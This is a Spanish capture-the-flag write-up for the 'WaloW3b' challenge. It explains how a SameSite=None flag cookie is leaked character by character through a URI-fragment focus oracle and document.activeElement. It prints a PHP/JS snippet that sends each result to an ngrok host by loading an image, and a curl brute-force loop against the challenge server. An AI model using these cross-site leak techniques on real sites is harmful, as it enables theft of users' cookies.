Writeup WaloW3b

Walo Web nos propone dos botones, WaloCheck y WaloMsg. El autor del reto se ha preocupado también de crear un diseño de web ideal para dejarnos ciegos.  Gracias por el detalle, @jorge_ctf 🙂 Al pulsar en WaloCheck, podemos indicar una URL que será visitada por un navegador lanzado con Selenium (inicialmente con un FirefoxDriver, aunque por algún problema técnico se pasó a ChromiumDriver). 

Si en lugar de WaloCheck pulsamos en WaloMsg, se nos ofrece un formulario con un único input text para informar a alguien de que hemos pasado la prueba. Es extraño, porque no hay action, ni submit, … 

Afortunadamente, el reto incluye el código fuente usado internamente. Desde ahí podremos ver cómo está programado WaloCheck, WaloMsg y el browser lanzado por Selenium.

https://github.com/juananpe/walow3b

Instalar Redis, Selenium, Drivers

Lo primero que suelo hacer en estos casos es montar todo el reto en local para desarrollar más cómodamente el exploit. Suelo abrir una terminal con iTerm2 y la divido en paneles. 

Vamos allá. El reto usa redis para almacenar las URLs que le pedimos chequear, así que ponemos en marcha redis, no sin antes meterle un bind a la IP local en el fichero de configuración (/usr/local/etc/redis.conf):

$ redis-server /usr/local/etc/redis.conf

Podemos comprobar que el server está bien lanzándole un ping:

$ redis-cli -h 192.168.1.129 ping

Luego dejamos un panel abierto contra redis para comprobar los checks pedidos:

$  redis-cli -h 192.168.1.129 

Por ejemplo, si pedimos (desde nuestro localhost) chequear google.com, veremos algo como:

redis>  KEYS *
127.0.0.1
redis> get 127.0.0.1
https://google.com

Abrimos ahora otro panel para tener lanzada la aplicación Flask que se encarga de responder a walocheck y walomsg. Dejé preparados un script con las variables de entorno necesarias:

$ cat ./start.sh
DB_HOST=192.168.1.132
DB_PORT=6379
export DB_PORT
export DB_HOST
python3 web.py
$ ./start.sh

Y otro para dejar lanzado el script que se encarga de lanzar un browser headless, extraer una URL de redis y lanzar la conexión:

$ cat start_browser.sh
FLAG="meinventolacookie"
SLEEP_BETWEEN_QUEUE=3
BROWSER_SLEEP=10
DB_HOST=192.168.1.132
DB_PORT=6379
export FLAG
export DB_PORT
export DB_HOST
export BROWSER_SLEEP
export SLEEP_BETWEEN_QUEUE
python3 browser.py
./start_browser.sh

Todo listo para empezar a estudiar el código de https://github.com/juananpe/walow3b/blob/main/web.py  y de 

https://github.com/juananpe/walow3b/blob/main/browser.py

a fondo. Empecemos con browser.py. Vemos que se lanza un browser Chromium en modo headless primero contra «https://127.0.0.1:4000/noExists» y luego se establece una cookie para las siguientes llamadas a 127.0.0.1, con 

driver.add_cookie({«name»: «flag», «value»: environ.get(«FLAG»), «httpOnly»: True, «sameSite»: «None», «Secure»: «True»}) 

Aquí no entendí muy bien por qué se hacía esa primera conexión contra noExists… hasta que revisé la documentación de Selenium, en concreto la sección de add-cookie:

https://www.selenium.dev/documentation/en/support_packages/working_with_cookies/#add-cookie

«First of all, you need to be on the domain that the cookie will be valid for. If you are trying to preset cookies before you start interacting with a site and your homepage is large / takes a while to load an alternative is to find a smaller page on the site (typically the 404 page is small, e.g. http://example.com/some404page)»

OK, según la documentación hay que tener a Selenium apuntando al dominio al que se le va a asignar la cookie. Para que sea algo rápido, recomiendan apuntar a una página de carga rápida, como un HTTP/404.

En el método driver.add_cookie, vemos que se establece una cookie con la flag (mi tesoroooo) y muy interesante, un sameSite: None. Esto viene a querer decir que la cookie será enviada al navegador (siempre que se pida algo del dominio https://127.0.0.1:4000) incluso aunque esa petición proceda de un iframe incrustado en una página de otro dominio. Por ejemplo, podemos crear una página en http://dominio.com/exploit.php y dentro de la misma, incrustar un iframe que apunte a 127.0.0.1:4000. El iframe recibirá la cookie. Alguien puede decir, joe, pues ¿fácil no? Se crea un JS que acceda al document del iframe desde exploit.php y se captura la cookie. Fin. Bueno… sabiendo que es un reto de 600 puntos seguramente algo se nos esté pasando… Realmente no es posible hacer lo indicado por problemas de seguridad cross-site.

Me gusta esta respuesta de StackOverflow: https://stackoverflow.com/a/6170976/243532
«You can’t. XSS protection. Cross site contents can not be read by javascript. No major browser will allow you that. I’m sorry, but this is a design flaw, you should drop the idea.»

Si intentamos hacerlo, recibiremos un bonito error del estilo:
«Uncaught DOMException: Blocked a frame with origin «http://dominio.com/exploit.php» from accessing a cross-origin frame.at»

Aquí me quedé bastante bloqueado. Incluso pensé que era un bug del diseño del reto y que al autor se le olvidó meter una opción de Selenium que deshabilita esa protección:

options.add_argument(‘–disable-site-isolation-trials’)

Pero tras preguntarlo, la respuesta fue: «A walo no le gusta meterle más directivas a su browser… 😜»

Mal asunto. Así que, mientras seguía pensando en cómo saltarme esa restricción, pasé a estudiar el código del script web.py.

En la ruta index nada de interés, salvo una cookie flag con el valor whyisitnothere?.
En la ruta walocheck se guarda la url indicada en redis y poco más.
¿Y qué hay de la ruta walomsg? Esta es más interesante:

@app.route("/walomsg", methods=["GET"])
def walomsg():
    flag_p = request.args.get("flag")
    flag_c = request.cookies.get('flag')
    msg = request.args.get("msg")

    print(flag_p, flag_c, msg)

    if not flag_c or not flag_p or not msg:
        return "Something went wrong..."
    return render_template("check_msg.html", msg=search('[A-Za-z" ]+', msg).group(), check=flag_p in flag_c) # Make sure flag is valid

La ruta espera dos parámetros GET (flag, msg) y una COOKIE flag. Si están las tres, muestra el template check_msg.html pasándole una condición y una restricción. La restricción es que el contenido de la variable GET[‘msg’] sólo puede tener letras del alfabeto [A-Za-z» ]. Así que poco margen para una inyección XSS. Pero la condición «check» es muy interesante. Nos está diciendo que check será true cuando GET[‘flag’] sea un substring de COOKIE[‘flag]. Y tal y como hemos dicho antes, COOKIE[‘flag’] es la cookie con la flag que Selenium nos enviará a http://127.0.0.1:4000. Oh, esto se pone divertido. Pero seguimos teniendo un problemón: no podemos acceder a ese contenido porque el navegador no nos lo permite.

Me gusta recapitular para ver qué demonios me estoy dejando en el tintero. Vamos allá. 1) La idea principal es crear una página http://midominio.com/exploit.php . 2) Esa página incluirá un iframe con src = http://127.0.0.1:4000/walomsg 3) Le voy a pedir a /walocheck que chequee http://midominio.com/exploit.php 4) Selenium enviará la cookie al iframe. Y aquí tengo dos opciones: si paso las variables GET[‘flag’] y GET[‘msg’] correctas, se visualizará un pequeño formulario con un input text:

https://github.com/juananpe/walow3b/blob/main/templates/check_msg.html

Si paso las variables incorrectas, no se visualizará dicho formulario. Pero claro, «visualizar» es un eufemismo, recordemos que ver, lo que se dice ver, no vamos a ver nada porque la petición va por Selenium a nuestro dominio. Hay que conseguir como sea consultar por JS si se cargó un iframe con el input text (las variables get y flag son correctas) o sin el input text.

Esta es la clave en este tipo de pruebas. Tener como mínimo un bit de información, true o false. Con eso nos bastará para determinar la cookie. El problema es que no podemos acceder a ese bit de información por un problema de seguridad del navegador (consultas JS cross-site están prohibidas por seguridad). Aaaaargghhh… estando tan cerca me tiraba de los pelos por no encontrar la forma. Me preguntaba a ver cómo conseguir saber que se cargó un iframe con un input sin poder consultarlo directamente por JS. Si al menos saltara algún evento que pudiera capturar… ¡BANG! ¿Podría hacer saltar un onfocus en el el input? No podemos inyectar nada que nos sirva en GET[‘msg’]… Pero hay una forma de poner el foco del navegador en un input… siempre que ese input tenga un id o un name asociado. Veamos el código:

Vaya, vaya… un id=»msg». ¿Y cómo conseguimos que ese id tome el foco? Con un URI fragment en la URL: #msg
https://en.wikipedia.org/wiki/URI_fragment

Vamos a probar en mi máquina local. Asigno una cookie local en el navegador («whereitis», por ejemplo) para probar, y lanzo la siguiente consulta.

http://localhost/walomsg?flag=w&msg=cualquiercosa#msg

Si mis cálculos han sido correctos, el input con id=msg debe tomar el foco:

¡Tachán! Bueno, algo hemos avanzado. Ahora «sólo» queda saber cómo diablos detecto por JS que ese input ha tomado el foco (lo cual quiere decir que en GET[‘flag’] hemos pasado un substring que forma parte de la cookie).

Si intentamos incrustar en la página padre algo como:

document.getElementById(«idframe»).contentWindow.document.getElementById(«msg»).xxxxxx

Obtendremos el error que nos está mordiendo siempre de acceso a iframe entre DOMs cargados de distintos orígenes. Pero hay una forma más sencilla de saberlo, sin intentar acceder directamente al frame: document.activeElement

Si el foco lo tiene el input, document.activeElement será X
Si el foco lo tiene el body del documento principal, document.activeElement será Y

Y un último detalle. Al frame le llamaré exploit, así que para detectar la condición a), haremos lo siguiente: if (document.activeElement.name == «exploit» ) . Ahora queda exfiltrar este TRUE. ¿Cómo? Una opción es inyectando una imagen de mi servidor (y tener monitorizado mi server para saber en qué momento se pide dicha imagen). En concreto, así:

if (document.activeElement.name == "exploit" ) {
<?php
echo "document.write(\"<img src='http://e4a57a0a358d.ngrok.io/" . $_GET['msg'] . "'>\");";
echo "console.log('" . $_GET['msg'] . "');";
?>
}

(el server ngrok.io es un dominio dinámico que permite tunneling http…)

Tenemos todos los elementos necesarios para ir extrayendo la cookie, letra a letra. Aquí, idealmente habría que hacerlo por JS, creando un iframe, pasarle los parámetros adecuados, comprobar si pillamos foco. Si no, borrar iframe, ir a por la siguiente letra del alfabeto y repetir la jugada.

Lo intenté: https://gist.github.com/juananpe/23cdf8b2b40ba6fc9b02179123d709d2
pero estaba cansado y mi script no terminó de funcionar O:)

Así que recurrí a la fuerza bruta. Probar primero todo un charset, letra a letra, para saber de qué letras se compone la cookie y luego, teniendo ese juego reducido de posibles caracteres, ir una a una a partir de CYBEX{…. hasta la última llave }.

Eso funcionó. Me llevó unas horitas, pero funcionó 🙂

Este es el exploit que permite el leak de la cookie, letra a letra:
https://gist.github.com/juananpe/f4e784d11bf10fd955be2a495891eef5

El juego de caracteres era este:

word=$(echo '} a c f i l m s v w A B C E L O S T U X Y _ } { ¡ ! ¿ ? `' | fold -w 1)

y el encantamiento que probaba, letra a letra, era este:

for x in ${word}; do echo $x; curl --silent -k --data-urlencode "url=http://e4a57a0a358d.ngrok.io/exploit.php?msg=CYBEX{$x" https://104.210.220.165:2052/walocheck > /dev/null ; sleep 30; done

Y por fin, pude dormir unas horas.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.